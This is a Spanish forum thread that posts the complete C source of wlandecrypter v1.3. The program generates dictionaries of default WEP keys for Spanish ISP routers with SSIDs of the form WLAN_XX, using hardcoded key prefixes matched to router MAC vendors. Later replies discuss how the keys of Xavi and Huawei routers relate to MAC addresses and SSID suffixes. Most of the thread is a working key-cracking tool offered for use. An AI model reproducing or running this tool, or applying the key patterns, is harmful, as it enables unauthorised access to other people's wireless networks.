wlandecrypter v1.3.1 ACTUALIZADO!!!!

Iniciado por *dudux, 11 Diciembre 2008, 18:51 PM

0 Miembros y 2 Visitantes están viendo este tema.

ChimoC

Buenas:

Un nuevo wlandecrypter modificado (NO contiene nuevas MACS) del user BlackHole (de la página hermana http://foro.seguridadwireless.net/enlaces-descarga-aplicaciones-wireless-linux/wlandecrypter-1-3/ ):

Éste es el link de descarga http://www.filedropper.com/wlandecrypter13tar Aunque veas que es 1.3 NO hay diferencia con el 1.2 sino que es una reestructuración.

Así que como se lo ha currado hay que publicarlo, que para eso somos comunidad:

/*****************************************************************************
* Fichero: wlandecrypter.c
* Autor: Nilp0inteR (nilp0inter2k6[at]gmail[dot]com)
* Fecha: 23-03-2006
* Actualizado: 22-11-2006 por nilp0inter
*
* Modificado v0.6 :     15-12-2007 por *dudux    dudux[at]elhacker[dot]net
* Modificado v0.7 :     22-11-2008 por *dudux    dudu[at]seguridadwireless[dot]net
* Modificado v0.8 :     12-04-2009 por *dudux    dudu[at]seguridadwireless[dot]net
* Modificado v1.0 :     10-05-2009 por *dudux  // bea vuela muy alto...el cielo es nuestro niña
* Modificado v1.1 : 18-05-2009 por *dudux     Añadida funcion para ESSIDs cambiados
* Modificado:           www.seguridadwireless.net
*
* Actualizado v1.2b: 18-11-2009 Niroz&NiñoMelon. Añadidas opciones '-l', '-e' y '-a'.
* Añade router Xavi E0:91:53.
* También se eliminó la constante MAXINDEX y el código relacionado con ella.
*
* Actualizado v1.2: 08-12-2009 Niroz&NiñoMelon. Añdidas opciones '-l', '-e' y '-a'.
* Añade routers Comtrend, Xavi, Thomson y Huawei.
* Se eliminó la constante MAXINDEX y el código relacionado con ella.
*
* Modificado v1.3: Enero/Febrero 2010 por BlackHole
* Reprogramación completa del código para facilitar su expansión futura.
* Ver notas en cada función a lo largo del programa.
*
* Descripcion: Generador de diccionario de claves por defecto para los
* routers de Timofonik Zyxel, Xavy, Comtrend, Thomson y Huawei.
*
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
*
* Este programa se distribuye SIN GARANTIA de ningun tipo. USALO bajo tu proio riesgo.
*
* Recomendaciones: wlandecrypter es multiplataforma, solo las ultimas versiones estan empaquetadas
*                  para  linux y  versiones de la Livecd WIFIWAY y WIFISLAX
*                  Hoy en dia estan para todo el mundo
*
*                 * Wlandecrypter 0.7 para  PDAs (Zaurus) gracias a burton de seguridadwireless
*                 * Wlandecrypter 0.5 para Macintosh
*                            --->http://wiki.adictolinux.org/index.php/Wlandecrypter_en_Mac_Os_X
*                 * Wlandecrypter 0.5 para windows no se nada,creo que nilp0inter compilo hasta la v0.5
*
* wlandecrypter 1.2 para windows y Macintosh en foro.seguridadwireless.net, o compila este mismo codigo.
*
* Mira tambien:  wlaninject , wlandestroy , wepattack , weplab y aircrack-ng
*
*****************************************************************************/

#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


#define VERSION 1
#define SUBVERSION 3
#define DATEVERSION "2010/02/19"


//--------------------------------------------------
// Numero de modelos de routers en la base de datos
//--------------------------------------------------

#define MAXROUTER 18 // Recordar actualizar el valor al número EXACTO de routers catalogados
#define MAXINIT 2 // Añadido v1.3: número máximo de familias de claves en un router


//--------------------------------------------------------------------------------
// Definición del tipo de dato Router
// v1.3: BlackHole (31/1/2010)
//       Se cambia la anterior estructura rígida por punteros a cadenas estáticas
//       Esto permite versatilidad y libertad completa de ampliación
//-----------------------------.........------------------------------------------

typedef struct Router
{
char *bssid; // Almacena BSSID
char *notas; // Almacena nombre del router
char *init[MAXINIT]; // Almacena las partes fijas de la clave asociadas a un router
// Cambiado v1.3: array de punteros a cadenas
} tRouter;


//--------------------
// Variables globales
//--------------------

FILE *fichero;
tRouter routers[MAXROUTER];
unsigned int baseMAC;
unsigned int wlanID;
unsigned int indeterminado=0;
unsigned int experimental=0;


//-----------------------------------------------------------
// Función: datosRouters
// Introduce los datos de los modelos conocidos
// v1.3: El array de routers pasa a ser global
//       GCC ya inicializa a NULL toda la estructura tRouter
//       Pendiente comprobar otros compiladores
//-----------------------------------------------------------

void datosRouters(void)
{
// Z-com
routers[0].bssid   = "00:60:B3";
routers[0].init[0] = "Z001349";
routers[0].notas   = "Z-com";

// Xavvy
routers[1].bssid   = "00:01:38";
routers[1].init[0] = "X000138";
routers[1].notas   = "Xavi 7768r";

// Comtrend
routers[2].bssid   = "00:03:C9";
routers[2].init[0] = "C0030DA";
routers[2].notas   = "Comtrend 535";

// Zyxel : Gracias a thefkboss de foro.elhacker.net por esta observacion
routers[3].bssid   = "00:A0:C5";
routers[3].init[0] = "Z001349";
routers[3].notas   = "ZyXEL 650HW/660HW";

// Comtrend NUEVO, gracias a dnreinad por el coche xD
routers[4].bssid   = "00:16:38";
routers[4].init[0] = "C0030DA";
routers[4].notas   = "Comtrend 536+";

// P-660HW-D1,gracias a Tertulia de foro.elhacker.net  ;)
routers[5].bssid   = "00:13:49";
routers[5].init[0] = "Z001349";
routers[5].init[1] = "Z0002CF"; // añadido v0.7 ....
routers[5].notas   = "Zyxel 660HW-D1";

        // ZyGate Communications
        routers[6].bssid   = "00:02:CF";
        routers[6].init[0] = "Z0002CF";
        routers[6].init[1] = "Z0023F8"; // añadida v1.0 gracias a thedoctor77 ;)
        routers[6].notas   = "ZyGate";

        // Comtrend nuevos 2007-2008  *dudux y dnreinad
        routers[7].bssid   = "00:1A:2B";
        routers[7].init[0] = "C0030DA";
        routers[7].init[1] = "C001D20"; // añadido v0.7 ....
        routers[7].notas   = "Comtrend DSL";

        // Zygate v06. gracias pianista y Sycho por estar atento
        routers[8].bssid   = "00:19:CB";
        routers[8].init[0] = "Z0002CF";
        routers[8].init[1] = "Z0019CB"; // añadido v0.8 (2009) Zyxel FTTH
        routers[8].notas   = "ZyXEL 660HW (FTTH)";  // gracias Sycho :P

        // Comtrend hrodgar v0.6
        routers[9].bssid   = "00:19:15";
        routers[9].init[0] = "C0030DA";
        routers[9].notas   = "Comtrend (2008)";

        // Nuevos version0.7
        // Comtrend 2008 Mugen de el foro.elhacker.net  ;)
        routers[10].bssid   = "00:30:DA";
        routers[10].init[0] = "C0030DA";
        routers[10].notas   = "Comtrend 536+";

        // Comtrend nuevos 2008
        routers[11].bssid   = "00:1D:20";
        routers[11].init[0] = "C001D20";
        routers[11].notas   = "Comtrend 536+";

        //Nuevo version0.9
        // Zyxel P660HW-D1  2009 Gracias a Zim_Zum y a buckynet de seguridadwireless.net
        routers[12].bssid   = "00:23:F8";
        routers[12].init[0] = "Z0023F8";
        routers[12].notas   = "ZyXEL 660HW-D1";

        // Nuevo version1.0
        // Xavy 2009   zim_zum y *dudux
        routers[13].bssid   = "00:01:36";
        routers[13].init[0] = "X000138";
        routers[13].notas   = "Xavi 7768r (2009)";

// *dudux v1.2
// Comtrend 2009
routers[14].bssid   = "00:03:DA";
routers[14].init[0] = "C0030DA";
routers[14].notas   = "Comtrend (2009)";

// *dudux v1.2
// Thomsom 2009
routers[15].bssid   = "00:1F:9F";
routers[15].init[0] = "T5YF69A";
routers[15].notas   = "Thomsom (2009)";

// Niroz&Melon v1.2
// Xavi 7968. Solos 4610 RD / Solos 461x
routers[16].bssid   = "E0:91:53";
routers[16].init[0] = "XE09153";
routers[16].notas   = "Xavi 7968-Solos 4610RD/461x";

// Ferlan v1.2
// Huawei EchoLife HG520v FTTH (Fibra optica)
routers[17].bssid   = "00:18:02";
routers[17].init[0] = "H4A69BA";
routers[17].init[1] = "H538FBF";
routers[17].notas   = "Huawei EchoLife HG520v (FTTH)";
}


//----------------------------------------------------------
// Funcion: salirError
// Centraliza mensajes de error y realiza salida controlada
// v1.3: BlackHole (4/2/2010)
//       Acentos eliminados intencionadamente para no tener
//       que gestionar codificación UTF-8 o ISO-8859-1
//----------------------------------------------------------

void salirError (int errnum)
{
char *errmsg[8];

errmsg[0]="Numero invalido de parametros";
errmsg[1]="Opcion no reconocida";
errmsg[2]="ESSID no especificado";
errmsg[3]="ESSID invalido. Se esperaba formato WLAN_XX";
errmsg[4]="BSSID no especificado";
errmsg[5]="BSSID invalido. Se esperaba formato XX:XX:XX:XX:XX:XX";
errmsg[6]="BSSID no encontrado. Usar -l para ver lista";
errmsg[7]="Error al abrir o crear el fichero";

if (fichero != NULL) fclose(fichero);
fprintf(stderr," [-Error] %s\n\n",errmsg[errnum]);
exit(errnum);
}


//---------------------------------------------------------------------------
// Funcion: muestraVersion
// Muestra la versión del programa
// v1.3: BlackHole (31/1/2010)
//       Se añade la fecha, para builds que no merecen incremento de version
//---------------------------------------------------------------------------

void muestraVersion(void)
{
fprintf(stderr, "\n wlandecrypter v%i.%i (%s)\n\n", VERSION, SUBVERSION, DATEVERSION);
}


//-------------------------------------------------------------
// Funcion: muestraUso
// Muestra las opciones de uso del programa
// v1.3: BlackHole (4/2/2010)
//       Se fuerzan las opciones del programa al principio
//       para simplificar el código del analisis de parámetros
//-------------------------------------------------------------

void muestraUso(void)
{
fprintf(stderr, " [http://www.seguridadwireless.net]\n");
fprintf(stderr, " 2006 Nilp0inteR   2009 Niroz&Melon\n");
fprintf(stderr, " 2007-2009 dudux   2010 BlackHole\n\n");
fprintf(stderr, " uso: wlandecrypter [-x] <BSSID> <ESSID> [fichero]\n");
fprintf(stderr, "      wlandecrypter -a <ESSID> [fichero]\n");
fprintf(stderr, "      wlandecrypter -l\n\n");
fprintf(stderr, "      -l : lista en pantalla todos los routers registrados\n");
fprintf(stderr, "      -a : genera diccionario para todos los routers y una WLAN_XX\n");
fprintf(stderr, "      -x : genera diccionario experimental para routers desconocidos\n\n");
fprintf(stderr, "      Si <ESSID> = WLAN_?? genera todas las redes desde WLAN_00 a WLAN_FF\n\n");
}


//-------------------------------------------------
// Función: listaRouters
// Lista en pantalla todos los routers registrados
// v1.2: Niroz&Melon
// v1.3: BlackHole (Febrero 2010)
//       Usa nueva tabla estática de routers
//       Ordena lista por BSSID para verlos mejor
//-------------------------------------------------

int ordena_bssid(const void *a, const void *b)
{
tRouter *x = (tRouter *)a;
tRouter *y = (tRouter *)b;
return strcmp(x->bssid, y->bssid);
}

void listaRouters(void)
{
unsigned short int i;

qsort(routers, MAXROUTER, sizeof(tRouter), ordena_bssid);

for (i=0; i<MAXROUTER; i++)
{
fprintf(stdout, "BSSID: %s:XX:XX:XX - Router modelo: %s\n", routers[i].bssid, routers[i].notas);
}

fprintf(stderr,"\n");
}


//-------------------------------------------------------------
// Función: compruebaEssid
// Comprueba que el ESSID concuerde con un patrón WLAN_XX
// v1.3: BlackHole (4/2/2010)
//       Devuelve el final del ESSID para usarse en los bucles
//       (18/2/2010) Revisión del código para usar strtoul
//-------------------------------------------------------------

unsigned int compruebaEssid (char *essid)
{
unsigned int i;

if (strlen(essid) != 7) salirError(3);

for (i=0;i<strlen(essid);i++) essid[i]=toupper(essid[i]); //pasamos a mayúsculas

if (strncmp("WLAN_", essid, 5) != 0) salirError(3);

if (!isxdigit(essid[5]) || !isxdigit(essid[6]))
{
if (essid[5]=='?' && essid[6] =='?') indeterminado=1; //generará todas las claves

else salirError(3);
}

return strtoul(&essid[5],NULL,16);
}


//------------------------------------------------------------------
// Función: compruebaBssid
// Comprueba que el BSSID concuerde con un patrón XX:XX:XX:XX:XX:XX
// v1.3: BlackHole (18/2/2010)
//       Devuelve el principio de la MAC para el modo experimental
//------------------------------------------------------------------

unsigned int compruebaBssid (char *bssid)
{
unsigned int i;
char *s;

if (strlen(bssid) != 17) salirError(5);

for (i=0;i<strlen(bssid);i++) bssid[i]=toupper(bssid[i]); //pasamos a mayúsculas

for (i=0;i<5;i++) if (bssid[i*3+2]!=':') salirError(5);

for (i=0;i<6;i++) if (!isxdigit(bssid[i*3]) || !isxdigit(bssid[i*3+1])) salirError(5);

return (strtoul(bssid,&s,16)<<16) | (strtoul(s+1,&s,16)<<8) | strtoul(s+1,NULL,16);
}


//--------------------------------------------------------
// Función: buscaBssid
// Busca el BSSID en la tabla de routers
// Devuelve el identificador del router o -1 si no existe
//--------------------------------------------------------

int buscaBssid(char *bssid)
{
unsigned int i;

for(i=0;i<MAXROUTER;i++)
{
if (strncmp(routers[i].bssid,bssid,8)==0) return i;
}

return -1;
}


//------------------------------------------------------------------------------------------------
// Función: generaClaves
// Imprime las claves en un fichero
// v1.1: *dudux (idea de tupy de elhacker.net)
//       Nueva opción WLAN_?? para cuando se conserva la clave pero el ESSID ha sido cambiado
//       Ejemplo: WLAN_MARTINEZ  00:01:38:XX:XX:XX
//       Genera todas las claves que existirían desde WLAN_00 a WLAN_FF para un determinado BSSID
//       Implica 2^24 claves y 224 MB de datos por cada familia de claves asociada a un router
// v1.3: BlackHole (1/2/2010)
//       Se mezclan funciones essidCambiado e imprimeClaves en una sola
//       Usa nueva tabla estática de routers
//       Optimizado el código en dos simples bucles
//------------------------------------------------------------------------------------------------

unsigned long int generaClaves (FILE *fichero, int routerID, unsigned int wlanID)
{
unsigned int i,j;
unsigned long int numclaves=0;

for (j=0; j<MAXINIT; j++)
{
if (routers[routerID].init[j] != NULL)
{
if (indeterminado)
{
for (i=0; i<16777216; i++)
fprintf(fichero,"%s%06X\n",routers[routerID].init[j],i);
numclaves+=i;
}
else
{
for (i=0; i<65536; i++)
fprintf(fichero,"%s%04X%02X\n",routers[routerID].init[j],i,wlanID);
numclaves+=i;
}
}
}

return numclaves;
}


//-------------------------------------------------------------------------------------------
// Funcion: generaExperimental
// Genera un listado experimental para routers desconocidos.
// v1.2: Niroz&Melon (Nov 2009)
//       Ya que en algunos de los ultimos routers, las claves siguen el patrón X112233xxxxAB
//       (ejemplo: router Xavi con MAC 11:22:33:xx:xx:xx y WLAN_AB) probar a generar una
//       lista que siga dicho patrón para futuros routers de los fabricantes conocidos.
// v1.3: BlackHole (18/2/2010)
//       Cambio radical del código pues la tabla de routers es ahora estática
//       Se genera el listado al vuelo con dos simples bucles
//       Genera un fichero de ~4 MB para un WLAN_XX determinado y 1120 MB para WLAN_??
//-------------------------------------------------------------------------------------------

unsigned long int generaExperimental (FILE *fichero, unsigned int baseMAC, unsigned int wlanID)
{
unsigned int i,j;
unsigned long int numclaves=0;
char fabricantes[]="CZXTH"; // Comtrend,ZyXEL,Xavi,Thomson,Huawei

for (j=0; j<strlen(fabricantes); j++)
{
if (indeterminado)
{
for (i=0; i<16777216; i++)
fprintf(fichero,"%c%06X%06X\n",fabricantes[j],baseMAC,i);
numclaves+=i;
}
else
{
for (i=0; i<65536; i++)
fprintf(fichero,"%c%06X%04X%02X\n",fabricantes[j],baseMAC,i,wlanID);
numclaves+=i;
}
}

return numclaves;
}


//--------------------------------------------------------------------------------------
// Funcion: generaTodasClaves
// Genera las claves de una WLAN_XX para todos los routers registrados, sin tener en
// cuenta la BSSID introducida. Sirve para cuando el usuario coloca un router diferente
// al entregado por el operador, pero mantiene la configuración del original.
//
// v1.2: Creada por Niroz&Melon (27/11/2009)
// v1.3: BlackHole (1/2/2010)
//       Usa nueva tabla estática de routers
//       Optimizado el código en tres simples bucles
//       Genera un fichero de ~20 MB para un WLAN_XX determinado y ~5 GB para WLAN_??
//--------------------------------------------------------------------------------------

unsigned long int generaTodasClaves(FILE *fichero, unsigned int wlanID)
{
unsigned int i,j,k;
unsigned long int numclaves=0;

for (k=0; k<MAXROUTER; k++)
{
for (j=0; j<MAXINIT; j++)
{
if (routers[k].init[j] != NULL)
{
if (indeterminado)
{
for (i=0; i<16777216; i++)
fprintf(fichero,"%s%06X\n",routers[k].init[j],i);
numclaves+=i;
}
else
{
for (i=0; i<65536; i++)
fprintf(fichero,"%s%04X%02X\n",routers[k].init[j],i,wlanID);
numclaves+=i;
}
}
}
}

return numclaves;
}


////////////////////////
// Programa principal //
////////////////////////

int main(int argc, char *argv[])
{
int pos = 1;
int routerID;
unsigned long int numclaves;

muestraVersion();
datosRouters(); // Se puebla la matriz de routers con los datos

if (argc == 1)
{
muestraUso();
return 0;
}

if (strcmp("-l", argv[1]) == 0) // Lista routers
{
if (argc > 2) salirError(0);
listaRouters();
return 0;
}

if (strcmp("-a", argv[1]) == 0) // Todos los routers registrados
{
if (argc > 4) salirError(0);
if (argc < 3) salirError(2);

wlanID = compruebaEssid (argv[2]);
fprintf(stderr," [+] BSSID: Indiferente\n");
fprintf(stderr," [+] Modelo: Todos los conocidos\n");

if (argc == 4)
{
fichero = fopen(argv[3],"a+");
if (fichero == NULL) salirError(7);
fprintf(stderr," [+] Generando fichero de claves: %s\n", argv[3]);
numclaves = generaTodasClaves(fichero, wlanID);
fclose(fichero);
fprintf(stderr," [+] Fichero guardado OK\n");
}
else
{
fprintf(stderr," [+] Seleccionada salida estandar\n");
numclaves = generaTodasClaves(stdout, wlanID);
}

fprintf(stderr," [+] Generadas %lu claves (%lu KB)\n",numclaves,(numclaves/1024)*14);
fprintf(stderr," [+] Proceso finalizado con exito\n\n");
return 0;
}

if (strcmp("-x", argv[1]) == 0)
{
experimental = 1;
pos++;
}
else if (argv[1][0]=='-') salirError(1);

if (argc > pos+3) salirError(0);
if (argc < pos+1) salirError(4);

baseMAC = compruebaBssid (argv[pos]);
routerID = buscaBssid(argv[pos]);

if ((routerID < 0) && (!experimental)) salirError(6);
if (argc < pos+2) salirError(2);

wlanID = compruebaEssid (argv[pos+1]);

if (experimental)
{
fprintf(stderr," [+] BSSID: %s\n", argv[pos]);
fprintf(stderr," [+] Modelo: Desconocido\n");
}
else
{
fprintf(stderr," [+] BSSID: %s:XX:XX:XX\n", routers[routerID].bssid);
fprintf(stderr," [+] Modelo: %s\n", routers[routerID].notas);
}

if (argc == pos+3)
{
fichero = fopen(argv[pos+2],"a+");
if (fichero == NULL) salirError(7);
fprintf(stderr," [+] Generando fichero de claves: %s\n", argv[pos+2]);

if (experimental) numclaves = generaExperimental(fichero, baseMAC, wlanID);
else numclaves = generaClaves(fichero, routerID, wlanID);

fclose(fichero);
fprintf(stderr," [+] Fichero guardado OK\n");
}
else
{
fprintf(stderr," [+] Seleccionada salida estandar\n");

if (experimental) numclaves = generaExperimental(stdout, baseMAC, wlanID);
else numclaves = generaClaves(stdout, routerID, wlanID);
}

fprintf(stderr," [+] Generadas %lu claves (%lu KB)\n",numclaves,(numclaves/1024)*14);
fprintf(stderr," [+] Proceso finalizado con exito\n\n");

return 0;
}

//---------------------------------------------------------------------------------- EOF


Un saludo

ChimoC

pazienzia

Hola.

Tienes toda la razón del mundo, sois la hostia en verso.

salu2 y suerte
Nuestro equipo solo necesita llegar hasta el punto de acceso más lejano que nos llegue con calidad suficiente (no confundir calidad con señal).
Piénsalo, ¿Realmente necesitas esa cantidad de milivatios?

Glezo

   Lamento spammear, pero como no ha habido respuesta a mi último post y me parece importante (más que los problemas para meter el paquete en la distribución, especialmente cuando a lo mejor esta versión no es del todo exacta todavía), reitero lo dicho:

he estado jugueteando con la versión 1.2 y he visto cosas que me han llamado la atención:

En el caso de los (00:91:53:AB:CD:EF,WLAN_ab) conozco una clave, que es de la forma XE09153ABCDab, hay "pattern matching" con el caso general (el del wlandecrypter 1.2) pero... mucha casualidad parece, no? ¿Alguien más ha visto algo parecido?

En cuanto a las (00:18:02:AB:CD:EF,WLAN_ab) conozco un par de claves y no casan con el fichero que genera el wlandecrypter, que son H4A69BAXXXXab y H538FBFXXXXC7.
Las que conozco... no las publico por si hubieran sido cambiadas y estuviera revelando su contraseña (que, casi con toda seguridad, no es el caso) pero comienzan por H04 y por H56.

¿A alguien le suena alguno de estos casos?


ChimoC

Buenas:

@Glezo: A mi no me suenan.. no obstante manda un privado a *dudux con las claves y ESSID y BSSID

Un saludo

ChimoC

Glezo


NirozMe|on

Cita de: Glezo en 25 Febrero 2010, 12:34 PM
   Lamento spammear, pero como no ha habido respuesta a mi último post y me parece importante (más que los problemas para meter el paquete en la distribución, especialmente cuando a lo mejor esta versión no es del todo exacta todavía), reitero lo dicho:

he estado jugueteando con la versión 1.2 y he visto cosas que me han llamado la atención:

En el caso de los (00:91:53:AB:CD:EF,WLAN_ab) conozco una clave, que es de la forma XE09153ABCDab, hay "pattern matching" con el caso general (el del wlandecrypter 1.2) pero... mucha casualidad parece, no? ¿Alguien más ha visto algo parecido?

En cuanto a las (00:18:02:AB:CD:EF,WLAN_ab) conozco un par de claves y no casan con el fichero que genera el wlandecrypter, que son H4A69BAXXXXab y H538FBFXXXXC7.
Las que conozco... no las publico por si hubieran sido cambiadas y estuviera revelando su contraseña (que, casi con toda seguridad, no es el caso) pero comienzan por H04 y por H56.

¿A alguien le suena alguno de estos casos?



El caso 00:91:53 es llamativo pero no creo que deje de ser más que una casualidad. En otros 3 router con esa mac que conozco no sucede lo mismo. Tampoco hay tantas combinaciones posibles con cuatro dígitos hexadecimales: 65536.

Las 00:18:02 de routers Huawei en el momento de publicar la v1.2 sólo conocíamos 2 casos y aunque sospechaba que no iban a ser casos generales se decidió incluirlas mientras se conocían más casos. Pero así es, parece que las claves en estos routers son bastante aleatorias, diferentes para cada router, y no siguen un patrón tan claro como el resto de las wlan_xx. Por tanto en la próxima versión de wlandecrypter se podrían suprimir estos routers.

Saludos.

zorrua

Muchas gracias!!!

Estaria muy bien albergar el proyecto en Google Code, como esta el http://code.google.com/p/wlandecrypter/

Asi quedaria todo centralizado, y es mucho mas como para añadir codigo en colaboracion.

Gracias y saludos.

Glezo

Perfecto, Niroz&Me|on, si me dices que conoces 2 casos que no casen con mi sospecha o me he topado con alguien con sentido del humor que ha cambiado la contraseña o estoy en 1 de los (16)^4 casos.

En cuanto a las (00:18:02:HH:HH:HH,WLAN_ab) sí que hay un patrón evidente, H(HHHHHHHHHH)ab, donde (...) es una parte variable. No lo quiteís del programa,¿no? saber 3 de 13 es saber bastante..

Por cierto, Niroz&Me|on: tú también vas a picar con nilp0inter para la nueva versión? 

NirozMe|on

Desconocer 10 de 13 dígitos hexadecimales es desconocer 16^10 y eso es muchísimo. Tanto como saber 4 claves de las 1.099.511.627.776 posibles (sin tener en cuenta la H inicial y los 2 dígitos finales), con lo que cualquier router  00:18:02 que uno se encuentre, al menos hasta que se descubra otra cosa, tendrá una clave diferente a las conocidas y no estará en wlandecrypter. Pero bueno ya se verá.

Mándame por privado las claves Hxxxxxxxx que conozcas y a ver si alguien colabora con más de este tipo.

Yo estaré ayudando en la nueva versión lo que pueda y me deje, si : ). Todas las ideas son bienvenidas.

Glezo

#49
sí, 16 a la 10 no es moco de pavo, pero por ejemplo, he auditado 2 de esos routers (con permiso de sendas amigas) y, antes de ver cuál era el lenguaje regular de esos routers, pude recuperar la clave con unos 30.000 paquetes, que no es desorbitado, así que sabiendo 3 de 13 dígitos más fácil será.

Y de nuevo, una pregunta sobre los E0:91:53 (no encuentro el hilo por ningún lado..) Me han facilitado otra clave, (conozco solamente 2) y ambas cumplen
XE09153[c][d](HH)[e][f] siendo el router (EO:91:53:cd:XX:XX, WLAN_ef)
...Veo que no queda del todo claro... las 2 últimas componentes de la contraseña son el sufijo de WLAN_ ; y las posiciones 8 y 9 son, respectivamente, la 7 y la 8 de la mac.
¿Vuelve a ser una feliz consecuencia, o tú también te has topado con esto?